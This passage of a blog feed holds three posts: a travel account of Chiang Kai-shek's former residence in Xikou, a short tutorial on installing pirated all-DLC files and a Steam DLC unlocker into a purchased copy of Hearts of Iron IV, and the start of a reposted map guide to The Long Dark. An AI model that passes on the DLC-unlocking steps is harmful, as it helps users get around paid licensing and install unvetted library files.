&lt;p&gt;A long time ago, Chongxi had actually already visited Chiang Kai-shek&apos;s former residence once, but since that was so long ago the details have been forgotten, so this time I planned to visit again, refresh my memory, and record it along the way&lt;/p&gt;
&lt;h2&gt;A Brief Introduction&lt;/h2&gt;
&lt;p&gt;Chiang&apos;s former residence is in Xikou Town, Fenghua District, Ningbo, Zhejiang, and it was the family home of Chiang Kai-shek and his son Chiang Ching-kuo&lt;/p&gt;
&lt;p&gt;This isn&apos;t just a single house but a whole complex of buildings: the ancestral residence Fenggao House, the Yutai Salt Shop where Chiang Kai-shek was born, the Wenchang Pavilion where he and Soong Mei-ling stayed, and the small Western-style house where Chiang Ching-kuo settled after returning from the Soviet Union — each with its own story. Xikou Town today preserves more than twenty sites from the Republic of China period, and it&apos;s called the &quot;number one town of the Republic of China era&quot;; there&apos;s a huge amount of information to take in as you walk around&lt;/p&gt;
&lt;p&gt;What&apos;s interesting is that before the PLA entered Xikou in 1949, Mao Zedong specifically ordered that this place be protected. The former residence of a political opponent has been preserved intact to this day, and that&apos;s quite something when you think about it&lt;/p&gt;
&lt;h2&gt;Who Was Chiang Kai-shek&lt;/h2&gt;
&lt;p&gt;Though I think everyone knows him, let&apos;s go over it briefly anyway&lt;/p&gt;
&lt;p&gt;Chiang Kai-shek (Chiang Chung-cheng) was the leader of the Kuomintang in history. He did revolution alongside Sun Yat-sen in his early years, later nominally unified China through the Northern Expedition, and during the War of Resistance against Japan was the supreme commander of the China Theater. After that came the civil war with the Communist Party, and by 1949 he really couldn&apos;t hold on any longer, so he took a group of people and retreated to Taiwan, where he continued serving as &quot;president&quot; until his death in 1975&lt;/p&gt;
&lt;p&gt;Generalissimo Chiang was enormously controversial throughout his life, and people say all sorts of things about him, but no matter what, he is one of the twentieth-century Chinese figures you simply cannot get around&lt;/p&gt;
&lt;h2&gt;A Note Before Visiting&lt;/h2&gt;
&lt;p&gt;Chiang&apos;s former residence is divided into the exterior and the interior. Photography isn&apos;t allowed inside, and it&apos;s a paid-ticket system; I don&apos;t think it&apos;s appropriate to go into the interior in detail here, so this article will just briefly cover the exterior. Walking around the exterior already gives you a good feel for it&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Getting to Fenghua–Xikou&lt;/h2&gt;
&lt;p&gt;Chongxi set out from downtown Ningbo, first taking Metro Line 2, getting off at &lt;strong&gt;轻纺城&lt;/strong&gt; to transfer to Fenghua bus route &lt;strong&gt;988&lt;/strong&gt;, riding it all the way to the terminus &lt;strong&gt;公交溪口站&lt;/strong&gt;, and then taking Fenghua bus route &lt;strong&gt;266&lt;/strong&gt; to Chiang&apos;s former residence&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_122705.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There was a little incident on the way. After passing through two tunnels, I arrived at the &lt;strong&gt;蒋氏故居游客中心&lt;/strong&gt;, and because I really don&apos;t remember much, and hadn&apos;t done any research beforehand, I went in and had a look around and realized something was off. Opening the map, well — Chiang&apos;s former residence is supposed to be reached by getting off at &lt;strong&gt;武陵广场&lt;/strong&gt;, so I walked there on foot, and in the middle of summer I nearly died of heat on the way&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From 公交溪口站 you can take 226/Z26 to 武陵广场 (Chiang&apos;s former residence) and get off there&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_125132.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The photo was taken by the river at the main gate of the &lt;strong&gt;蒋氏故居游客中心&lt;/strong&gt;, facing the direction of &lt;strong&gt;蒋氏故居&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Arriving at Chiang&apos;s Former Residence&lt;/h2&gt;
&lt;p&gt;After being roasted by the sun for a dozen or so minutes, I finally made it on foot&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_125412.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Wushan Temple&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_125741.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the temple on the right-hand side of the entrance to Chiang&apos;s former residence. Entry is free. It was originally a shrine shared by the five great surnames of Xikou Town — Ren, Song, Jiang, Shan and Zhang. Later the Jiang family prospered more and more and it gradually became dominated by the Jiangs, and Chiang Kai-shek&apos;s father even served as temple head, handling day-to-day management. Chiang Kai-shek did his early schooling here as a child, and later his son Chiang Ching-kuo also started school here, so it&apos;s a place with ties to two generations of the Jiang family&lt;/p&gt;
&lt;p&gt;Once inside, it didn&apos;t feel like anything special, because the place has been completely taken over by vendors selling curios. Looking around the ground floor felt pretty uninteresting, so I just came out and went straight through the main gate of the former residence. Free places are often the first to turn into places that sell things (this sentence will be on the test later&lt;/p&gt;
&lt;h2&gt;Chiang&apos;s Former Residence&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130105.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The photo shows the main gate&lt;/p&gt;
&lt;p&gt;Just as I stepped through the main gate, a small blackboard on the right caught my eye. Looking closer, I nearly lost it: four big characters, &lt;strong&gt;Meiling Coffee&lt;/strong&gt; (Chiang Kai-shek&apos;s wife was named Soong Mei-ling&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130147.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I won&apos;t say any more about the rest; those who get it, get it. And that coffee is genuinely expensive&lt;/p&gt;
&lt;h3&gt;Wenchang Pavilion&lt;/h3&gt;
&lt;p&gt;Across from Meiling Coffee, meaning on the left-hand side of the main gate, is Wenchang Pavilion. It was originally built in the Qing dynasty as a gathering place for Xikou&apos;s literati. In 1924, when Chiang Kai-shek came home to tend his ancestors&apos; graves, he saw how dilapidated it was and paid to have it repaired, and right after the repairs he renamed it &quot;Leting&quot; and turned it into a private villa for himself and Soong Mei-ling&lt;/p&gt;
&lt;p&gt;It was flattened by Japanese aircraft in 1939; what you see now was rebuilt to the original design in 1987&lt;/p&gt;
&lt;p&gt;As for the interior, since it&apos;s a paid attraction it&apos;s not convenient to go into detail, and if you&apos;re interested you can go see it yourself when you get the chance. Here I&apos;ll just show you what the exterior looks like&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130216.webp&quot; alt=&quot;Outer perimeter of Wenchang Pavilion&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130325.webp&quot; alt=&quot;Wenchang Pavilion gate&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130333.webp&quot; alt=&quot;Wenchang Pavilion description&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Jiang Ancestral Shrine&lt;/h2&gt;
&lt;p&gt;Following the path from the main gate deeper in, you come to the &lt;strong&gt;Jiang Ancestral Shrine&lt;/strong&gt;, where the Jiang family held ancestral rites, weddings, funerals and all kinds of major events. The four characters &quot;忠孝传家&quot; on the archway at the entrance were written by Chiang Kai-shek himself&lt;/p&gt;
&lt;p&gt;The shrine has an old and a new section. The rear section is an old building from the Kangxi era of the Qing dynasty; the front section is a new ancestral hall that Chiang Kai-shek paid for out of his own pocket in 1930, and it was built even bigger than his own residence, which shows how much he valued the clan&lt;/p&gt;
&lt;p&gt;Likewise, it&apos;s a paid attraction, so it&apos;s not convenient to go into the interior — understood~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130817.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The Mysterious McDonald&apos;s&lt;/h2&gt;
&lt;p&gt;Going deeper still, it gets really hard to keep a straight face: a giant M comes into view — McDonald&apos;s. Well, I was already here, and it happened to be noon and hot, so I went in to top up and save my progress, then carried on&lt;/p&gt;
&lt;p&gt;I have to admit, it&apos;s not a bad-looking building&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130841.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_130921.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Zhou Shun Fang&lt;/h2&gt;
&lt;p&gt;Continuing in the order of going deeper, next is Zhou Shun Fang, and this one has a really interesting story. It&apos;s a small shop right next to Chiang&apos;s former residence selling thousand-layer cakes. In 1928, when Chiang Kai-shek expanded the residence, the neighboring households basically all moved away, but this one refused to budge. The owner&apos;s attitude, plainly put, was &quot;what does it matter to me that you&apos;re the president? I&apos;m not moving.&quot; Chiang Kai-shek really had no way to deal with him, and could only build around him, which is why one wall of the residence is recessed — because this shop is embedded in it. Nowadays people jokingly call it China&apos;s most badass nail household&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132940.webp&quot; alt=&quot;Zhou Shun Fang&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;A Little Interlude&lt;/h2&gt;
&lt;p&gt;The little shops around Chiang&apos;s former residence are all quite interesting: there are ones selling curios, handicrafts, and Fenghua specialties like thousand-layer cakes, peaches and stinky tofu... but I think the most interesting ones have to be these two photo studios&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132515.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132533.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Good lord, there&apos;s a guy sitting right inside cosplaying old Chiang, and people walking by think they&apos;re hallucinating. Almost every passerby turns their head when they walk past this shop; it&apos;s just too funny&lt;/p&gt;
&lt;p&gt;Then there are all the thousand-layer cake shops; I snapped a few photos as I went&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132754.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132810.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Fenggao House&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_132914.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the core of Chiang&apos;s former residence, the place where Chiang Kai-shek actually lived. Originally it was just three dilapidated buildings handed down from his ancestors. In 1929, when Chiang Kai-shek became commander-in-chief of the Northern Expedition and returned home in glory, he had the old houses torn down and greatly expanded them, turning it into the current layout of a large residence covering 4,800 square meters: a front hall and rear hall, two wings and four corridors, a typical traditional wealthy household&lt;/p&gt;
&lt;p&gt;Quite a few people lived here: the main rooms were for the Jiang family&apos;s womenfolk, the east wing was reserved for Soong Mei-ling but it&apos;s said she hardly ever stayed there — more on that shortly — and the west wing was where his first wife Mao Fumei lived long-term. In the courtyard there are two osmanthus trees, one golden and one silver, said to have been planted by Soong Mei-ling herself&lt;/p&gt;
&lt;p&gt;In 1939, when the Japanese bombed Xikou, Mao Fumei had just stepped out the back door to take cover when she was crushed to death here by a collapsing wall. When Chiang Ching-kuo got the news he rushed back overnight and wrote the four characters &quot;以血洗血&quot;, setting them on a stele as a vow&lt;/p&gt;
&lt;h3&gt;Little Stories About Fenggao House&lt;/h3&gt;
&lt;p&gt;Below are the little stories I learned about; take a look if you&apos;re interested&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Soong Mei-ling had a room but never stayed in it&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The east wing of Fenggao House was set aside specifically for Soong Mei-ling, but she never actually lived there. The reason is simply this: although Mao Fumei had divorced Chiang Kai-shek, she flatly refused to move out and stayed in the west wing, continuing to be the mistress of Fenggao House. Soong Mei-ling came from a distinguished family, so naturally she wasn&apos;t willing to go live under the same roof as the ex-wife, and Chiang Kai-shek had no choice but to arrange for her to stay at Wenchang Pavilion instead&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chiang Kai-shek snuck back every morning to eat&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When Chiang Kai-shek returned to Xikou, he and Soong Mei-ling stayed at Wenchang Pavilion while Mao Fumei lived at Fenggao House, only a few hundred meters apart. Soong Mei-ling was in the habit of sleeping in, and every morning Chiang Kai-shek would quietly slip back to Fenggao House to eat the mugwort rice balls and home-style dishes Mao Fumei made for him. By the time he got back, Soong Mei-ling still hadn&apos;t gotten up. His subordinates all saw it, of course, but none of them were idle enough to go report it&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The two osmanthus trees in the courtyard&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the central courtyard there&apos;s one golden osmanthus and one silver osmanthus, said to have been planted by Soong Mei-ling herself — the only mark she left on this house she wasn&apos;t all that willing to live in&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1949, the last hundred days&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In January 1949 Chiang Kai-shek announced his resignation and slunk back to Xikou, where he stayed at Fenggao House for nearly a hundred days: the longest he ever stayed here in his life. That year the whole family had New Year&apos;s Eve dinner in the Baoben Hall, in April he celebrated Chiang Ching-kuo&apos;s 40th birthday, and he personally wrote a plaque reading &quot;寓理帅气&quot; and had it hung up. Then on April 25 the father and son left Xikou and never came back&lt;/p&gt;
&lt;h2&gt;Epilogue&lt;/h2&gt;
&lt;p&gt;There were a few places I didn&apos;t actually visit, because it was just too hot at the time and I hurried back. The exterior is basically all little shops, and as I said at the start, free places are often the first to turn into places that sell things&lt;/p&gt;
&lt;p&gt;One more amusing thing: on my way back, there was another guy cosplaying old Chiang, eating something&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260725_133554.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Old Chiang splitting US aid with He Yingqin; you can see old Chiang grinning from ear to ear in the face of this massive haul&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;There actually used to be a lot of old Chiang cosplayers; maybe it was the heat today, but there were far fewer than usual &lt;s&gt;which shows old Chiang is afraid of the red sun&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;After that it was just heading back the same way under the blazing sun. If you&apos;re interested, you can go see it yourself when you get the chance; it&apos;s quite fun. An adult ticket is around a hundred-something yuan, and students and children seem to get half price. You can walk around the exterior for free; going inside to visit requires a ticket&lt;/p&gt;
&lt;p&gt;And that&apos;s basically Chiang&apos;s former residence&lt;/p&gt;
</content:encoded><category>旅行</category><author>Chongxi</author></item><item><title>Importing an All-DLC Patch Into a Legitimate Steam Copy of Hearts of Iron IV</title><link>https://xice.cx/en/posts/hoi4DLChook/</link><guid isPermaLink="true">https://xice.cx/en/posts/hoi4DLChook/</guid><description>This article provides a tutorial for importing a pirated all-DLC unlock patch into a legitimate Steam copy of Hearts of Iron IV</description><pubDate>Thu, 23 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This article is for study, exchange and sharing only. Please respect the official release&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Let&apos;s get straight to the point. First, you need at least the base game of Hearts of Iron IV (referred to below as hoi4). DLC resources can be downloaded from &lt;a href=&quot;http://share.paragames233.com/&quot;&gt;p社互助资源站&lt;/a&gt; or other sharing sites; find the archive with the official DLC resources matching your version and download it&lt;/p&gt;
&lt;h2&gt;Installation tutorial for Windows users&lt;/h2&gt;
&lt;p&gt;Open hoi4&apos;s game details page in Steam, click the settings icon, browse local files, and then just drop all the resources from the archive in&lt;/p&gt;
&lt;h2&gt;Installation tutorial for macOS users&lt;/h2&gt;
&lt;p&gt;Since macOS can&apos;t load Windows DLL patches, we need to open this GitHub project: &lt;a href=&quot;https://github.com/FILyaKIRya/HOI4-DLC-Unlocker-for-macOS/blob/main/README_EN.md&quot;&gt;hoi4-dlc-unlock-macos&lt;/a&gt;, download &lt;code&gt;cream_api.ini&lt;/code&gt; and &lt;code&gt;libsteam_api.dylib&lt;/code&gt;, then copy the dlc folder from the original archive into the game directory, and drop the above ini and dylib in there as well&lt;/p&gt;
</content:encoded><category>游戏</category><category>软件</category><author>Chongxi</author></item><item><title>The Long Dark: All Maps and Their Introductions</title><link>https://xice.cx/en/posts/thelongdark/</link><guid isPermaLink="true">https://xice.cx/en/posts/thelongdark/</guid><description>A full map guide to The Long Dark</description><pubDate>Wed, 15 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Reposted from Steam user &lt;a href=&quot;https://steamcommunity.com/id/W3stBoy&quot;&gt;W3stBoy&lt;/a&gt;. Original post: &lt;a href=&quot;https://steamcommunity.com/sharedfiles/filedetails/?id=2850179850&quot;&gt;The Long Dark full map and introduction&lt;/a&gt;; removed on request.&lt;/p&gt;
&lt;p&gt;Map source: Whiteberry, dissonance, Tujue and His Pasha People
Map translation: dissonance
Icon positions: stmSantana
Map descriptions: dissonance
Edits and compilation: W3stBoy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Map orientation issues&lt;/h2&gt;
&lt;p&gt;Before we start we still have to talk about map orientation. Orientation in this game is nothing short of chaos: there are four frames of reference you can use to judge direction, but absurdly, applying these four to the same map can give completely conflicting conclusions. This is the result of the developers not planning the world modeling coherently, and it&apos;s extremely unfriendly to players.
Great Bear Island orientation: using the full Great Bear Island map that appears when you pick a map at the start of a run as the frame of reference, with north up, south down, west left and east right per basic cartography. By this standard, many of the in-game charcoal maps are crooked, so it&apos;s generally only of discussion value and is basically never mentioned in actual play. All the compasses on this version of the map are placed according to this standard.&lt;/p&gt;
&lt;p&gt;Sun orientation: using the sun rising in the east and setting in the west on a single map as the frame of reference. Impractical — when there is a sun you won&apos;t get lost at all, and in weather like fog or blizzards you can&apos;t see the sun at all. What&apos;s most fatal is that both the Great Bear Island orientation and the coordinate orientation conflict with the sun orientation to some degree.&lt;/p&gt;
&lt;p&gt;Echo Peak orientation: a frame of reference built on the only two place names on the map that carry a direction. If it held, almost every map would have to be rotated 180°. So either the developers built every map backwards, or they made a typo; I lean toward the latter.&lt;img src=&quot;./photo/001.webp&quot; alt=&quot;Image&quot; /&gt;
The mystery of east on the left and west on the right&lt;/p&gt;
&lt;p&gt;Coordinate / stick orientation: a frame of reference determined by the coordinates of a single in-game map. Generally x is left-right and y is up-down, and a stick dropped from the player is always perpendicular to the x-axis (still true as of v1.94; in fact it&apos;s not just sticks — other items have similar properties, each pointing in a different direction). This is the origin of the usual saying that the tip of a stick points north and the fork points south.  Since it&apos;s per-map, and the in-game charcoal maps and Whiteberry maps are all drawn according to coordinates, this is the frame of reference best suited to helping players confirm direction alongside the map. The problem is that a map drawn entirely by this standard conflicts very seriously with the full Great Bear Island map the developers provide, especially on Mystery Lake, Pleasant Valley and Broken Railroad. So when making the charcoal maps, the developers rotated Pleasant Valley and Broken Railroad 90° clockwise (Mystery Lake escaped for unknown reasons), making y left-right and x up-down to match the big map&apos;s orientation. That&apos;s why on these two maps today, sticks point right (east) at the tip and left (west) at the fork. This version of the map adds stick directions, which may feel slightly off compared to actual gameplay, but that&apos;s really because the reference objects players usually pick are themselves not straight.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/002.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The hunting knife and the stick, always perpendicular to each other after being dropped by the player&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/003.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The orientation discrepancy between the big map and the small maps&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Great Bear Island map overview&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/004.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In-game map overview&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/005.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/006.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/007.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/008.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Simple stitched map&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/009.webp&quot; alt=&quot;Image&quot; /&gt;Simple map overview (Blackrock is not included yet; it&apos;s located above Pleasant Valley and to the left of Timberwolf Mountain)&lt;/p&gt;
&lt;p&gt;Some of the stitched maps are too large; if you need the originals, leave me your email in a comment.&lt;/p&gt;
&lt;p&gt;Note that the purple arrows have no climbing rope attached by default, so you can&apos;t get through on your first visit. So for your first exploration of Bleak Inlet I recommend entering from the Ravine, which is the only way you can explore Bleak Inlet&apos;s upper level and find the password note for the cannery workshop.&lt;/p&gt;
&lt;p&gt;Below is an introduction to these 12+4 maps based on my personal gameplay experience. The default perspective is Survival mode on non-Interloper difficulty; Interloper will be noted separately.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Mystery Lake &amp;amp; Map 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/010.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mystery Lake, also called Map 1, traditional Chinese name 神秘之湖. As the earliest map released in the game, it&apos;s the eternal home of newbies.&lt;/p&gt;
&lt;p&gt;Geography: located in the middle of Great Bear Island, connected to many maps, making it something of a transport hub. The whole map is split in two by the railway: one half is mainly forest and mountains, the other mainly lake and river channels. Mystery Lake has many evenly distributed constant-temperature buildings, making it very suitable for beginners.&lt;/p&gt;
&lt;p&gt;Climate: has the best weather on the whole of Great Bear Island. Base temperatures are high, the weather has no strong bias, and blizzard probability is moderate. Very suitable for survival.&lt;/p&gt;
&lt;p&gt;Important resources: on non-Interloper difficulty this map spawns a Survivor Cache (commonly called a bunker) at one of nine random spots. Every bunker contains a bed and various supplies, divided into six types — weapons, tools, medical supplies, clothing, firewood and food — which vary depending on the spawn location.&lt;/p&gt;
&lt;p&gt;A hunting rifle is guaranteed to spawn, with six mutually exclusive spawn points (i.e. only one will spawn at a time across all points; same below): the lakeside trail, next to the corpse behind the lakeside cabins, inside the derailed train car, the destroyed lookout, the forestry lookout, and under the train bridge. There is also an independent spawn point at Trapper&apos;s Cabin (i.e. unrelated to the other points). Additionally, if the spawned bunker type is weapons, you can find two extra hunting rifles inside the bunker.&lt;/p&gt;
&lt;p&gt;There are three independent revolver spawn points: the warm cave at Lake Overlook, the table in Trapper&apos;s Cabin, and inside the safe (revolvers inside any safe are independent probability; same below). Additionally, if the spawned bunker type is tools, you can find an extra revolver inside the bunker. (Strictly speaking, the revolver in the warm cave at Lake Overlook isn&apos;t an independent spawn but a pattern spawn, but that pattern involves cross-map exclusivity, so when treating a single map as a chapter it&apos;s reasonable to class it as independent.)&lt;/p&gt;
&lt;p&gt;The hunting tower at the unnamed pond has a chance to spawn a bow, the deer carcass nearby may have arrows, and the hunting tower near Alan&apos;s Cave may also spawn arrows.&lt;/p&gt;
&lt;p&gt;Mystery Lake has four bear caves, none of them warm caves, spawning one bear at random (two on Interloper). There are two mutually exclusive moose spawn areas (at most one will have moose sign at a time, though it&apos;s possible neither has sign), at the cabin north of the unnamed pond and near the train bridge. There is also an independent moose spawn point (no moose sign) in the open area in front of Trapper&apos;s Homestead; it can coexist with a moose spawned at the mutually exclusive points, but once killed it won&apos;t respawn (can&apos;t be disproven). On the ice there are four ice fishing huts, one of which randomly has a door (but never the one closest to the office; an ice fishing hut with a door gives a 3° temperature bonus) and can catch two kinds of freshwater fish. Plenty of cattails can be gathered along the lake and the river.&lt;/p&gt;
&lt;p&gt;Being a forest map, fuel is widely distributed, but coal is scarce: the only coal spawn points on the whole map are in the connecting cave to Mountain Town, and a few places such as the frozen creek allow the odd pickup, which is negligible.&lt;/p&gt;
&lt;p&gt;Breaking down furniture yields a certain amount of cloth; scrap metal is genuinely a bit scarce, but Mystery Lake is close to the dam, so it isn&apos;t a problem.&lt;/p&gt;
&lt;p&gt;Tools like the hunting knife, hatchet and prybar don&apos;t necessarily spawn in the main buildings; wandering to outdoor ice fishing huts or corpses may actually turn up surprises. On non-Interloper difficulty Mystery Lake basically never spawns a hacksaw or heavy hammer; if you want these two tools you&apos;ll have to look on other maps.&lt;/p&gt;
&lt;p&gt;In standard Interloper you can&apos;t spawn in Mystery Lake, and Mystery Lake has no guaranteed match or hacksaw spawns, so if you pick Mystery Lake as your start in a custom Interloper run, be prepared for the possibility of not finding matches. On Interloper there is always one prybar, spawning randomly among six mutually exclusive points: next to the container on the right side of the railway tunnel, at the door of the outbuilding of the cabin above the unnamed pond, beside the trailer at the logging camp, under the bed at the forestry lookout, on the shelf of the second ice fishing hut east on the Mystery Lake ice, and inside the hunting tower in front of Alan&apos;s Cave.&lt;/p&gt;
&lt;p&gt;Other: according to the developers&apos; naming rules, the dam does not belong to Mystery Lake. Strictly speaking, the yard in front of the dam belongs to Mystery Lake; once you enter the dam itself the map name switches to Carter Hydro Dam &amp;amp; Environs (Winding River). So the dam is not covered together with Mystery Lake in the resources section.&lt;/p&gt;
&lt;p&gt;Base recommendations: (aimed at non-Interloper; may differ on high difficulty; completely subjective, not objective, just for reference; same for later maps)
Camp Office  Rating 5/5
Pros: centrally located and convenient, a standalone two-storey building with good daylight. Has a workbench and a two-burner stove inside. Rich small and medium game nearby, plenty of cattails on the lake, and you can fish at the ice fishing huts. Fuel is plentiful and it&apos;s not far from a warming-up point, with countless sticks along the lake shore. Very close to a warm cave, only a few steps to Lake Overlook, making cabin fever easy to clear [Note 4], and there&apos;s even a climbing rope nearby that you can hang to burn stamina and heal quickly.&lt;/p&gt;
&lt;p&gt;Cons: average container capacity, relatively far from large animal spawns, relatively far from coal, and the slope up to Lake Overlook is steep enough to cause sprains.&lt;/p&gt;
&lt;p&gt;It&apos;s not entirely without flaws, but combined with Mystery Lake&apos;s perfect weather, this is the most newbie-friendly base.&lt;/p&gt;
&lt;p&gt;Trapper&apos;s Homestead Rating 4.5/5&lt;/p&gt;
&lt;p&gt;Pros: built-in workbench and two-burner stove, and the most efficient healing bed on the map (42% per 10 hours on Interloper). The flat ground at the door may spawn a moose and deer herds, the bear cave is right next door, rabbit spawns are behind the house, and the trap trigger area is very close to the building itself. The cave mouth on the way to Mountain Town is a windproof fire spot that gets the cold bonus [Note 5], and the cave has a small amount of coal.&lt;/p&gt;
&lt;p&gt;Cons: on the edge of the map, so getting anywhere else on this map isn&apos;t very convenient. Small space, low container capacity. Relatively far from a warm cave, making cabin fever harder to handle. Currently there&apos;s a pot-loss bug (as of v1.94): when entering or leaving Trapper&apos;s Homestead the pot you&apos;re carrying may vanish for no reason, mechanism unknown.&lt;/p&gt;
&lt;p&gt;Some people like to call this place the Hunter&apos;s Cabin, but I&apos;d recommend the official translated name. It&apos;s the first building in the whole game, with map file name SafeHouseA, and has the map&apos;s only nighttime lights effect (only visible from outside). If the nearby bear cave spawns a bear, this is a base where you can live very comfortably.&lt;/p&gt;
&lt;p&gt;Trailer / Dam / Ravine Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: at the junction of Mystery Lake, Pleasant Valley and Coastal Highway, a hub among hubs, making it very convenient to move resources between maps. There&apos;s a moose spawn at the door; to clear cabin fever you can use the car outside (non-Interloper only — the car is windproof and gives +5° warmth, which stacks with a bedroll&apos;s bonus) or the warm cave in the Ravine. Plenty of birch bark nearby and the bed heals faster than average (36% per 10 hours on Interloper).&lt;/p&gt;
&lt;p&gt;Cons: cramped, low container capacity, no built-in stove, and you have to run to the dam for the workbench. There&apos;s a wolf spawn right outside, and wolves currently have a bug where under certain conditions they can pass through the dam&apos;s chain-link fence.&lt;/p&gt;
&lt;p&gt;Good as a transit station / forward base. On Interloper, if your health is low you can also regroup and recover here, and long-term residence isn&apos;t impossible, but the wolf at the door is always a pain.&lt;/p&gt;
&lt;p&gt;(Other places aren&apos;t impossible to live in either, but I don&apos;t really recommend them for newbies; applies to all maps)&lt;/p&gt;
&lt;p&gt;Notes
Note 1: Warm caves. Caves marked brown on the map, which in game generally look like this:&lt;img src=&quot;./photo/011.webp&quot; alt=&quot;Image&quot; /&gt;
This kind of cave generally has two layers, but visually there&apos;s no clear boundary. The outer layer is windproof and blocks any wind direction (including wind blowing inward). The inner layer is the warm layer, which has a drying check and can be used to dry hides and sticks. It also has a base +8° temperature modifier that increases along with climate decay (the gradually freezing world), reaching +28° in the late Interloper game. Being active in any layer of a warm cave lowers cabin fever risk, making it the cheapest and fastest place to clear cabin fever.&lt;/p&gt;
&lt;p&gt;Note 2: Whether a bear cave spawns a bear can be judged by whether there are bones inside; bones mean that in this save a bear periodically respawns at this location.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/012.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Note 3: Moose &amp;amp; moose sign. Moose are fairly rare, because not only is the spawn location random, but whether it spawns at all after the location is fixed is also random — basically a lottery. And once spawned it easily disappears; sometimes you go inside and sleep and it&apos;s gone, so if you see a moose it&apos;s best to deal with it immediately, as delay brings trouble. Moose sign is the main marker of a moose spawn point; a map has at most one, and once it appears it means the moose in this save periodically respawns at that location. But note that not all spawn points have moose sign.
Moose&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/013.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Moose sign&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/014.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
